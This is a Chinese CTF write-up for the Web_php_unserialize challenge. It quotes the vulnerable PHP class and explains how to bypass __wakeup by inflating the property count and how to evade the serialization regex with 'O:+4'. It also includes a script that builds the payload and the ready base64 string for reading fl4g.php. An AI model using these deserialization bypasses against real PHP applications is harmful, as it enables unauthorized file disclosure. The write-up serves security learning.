攻防世界--Web_php_unserialize
考点
__wakeup 魔术方法的绕过- O:数字正则表达式的绕过
- php代码编写
WP
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
base64解码再绕过正则表达式的验证即可执行unserialize ,php代码脚本简单编写,难点在于如何绕过
__wakeup的绕过
序列化对象的属性个数大于实际的属性个数时将会绕过魔术方法__wakeup
正则表达式绕过
preg_match('/[oc]:\d+:/i', $var) 很明显就是针对序列化对象设置的过滤,我们可以利用 O:+4 这样的写法来绕过正则过滤 .该利用方式仅能在 PHP 5 中复现 ,在 PHP7中已经没有这样的漏洞了。
PHP脚本和注意事项(重要)
<?php
class Demo {
private $file = 'fl4g.php';
}
$A = new Demo ();
$C = serialize($A);
$C = str_replace('O:4','O:+4',$C);
$C = str_replace(':1:',':2:',$C);
var_dump($C);
var_dump(base64_encode($C));
?>
本题当中的$file 是一个私有方法,所有在类名左右会有%00 .如果把它复制再到其他地方进行处理和base64编码就会出现字符串错误,而且显示不出flag。所以对于反序列的php代码题目就在php代码中进行base64编码操作和url编码等处理就不会出错了。 之后提交TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==就可以了。
参考连接
攻防世界 Web_php_unserialize的坑 Web – Web_php_unserialize – WriteUp
|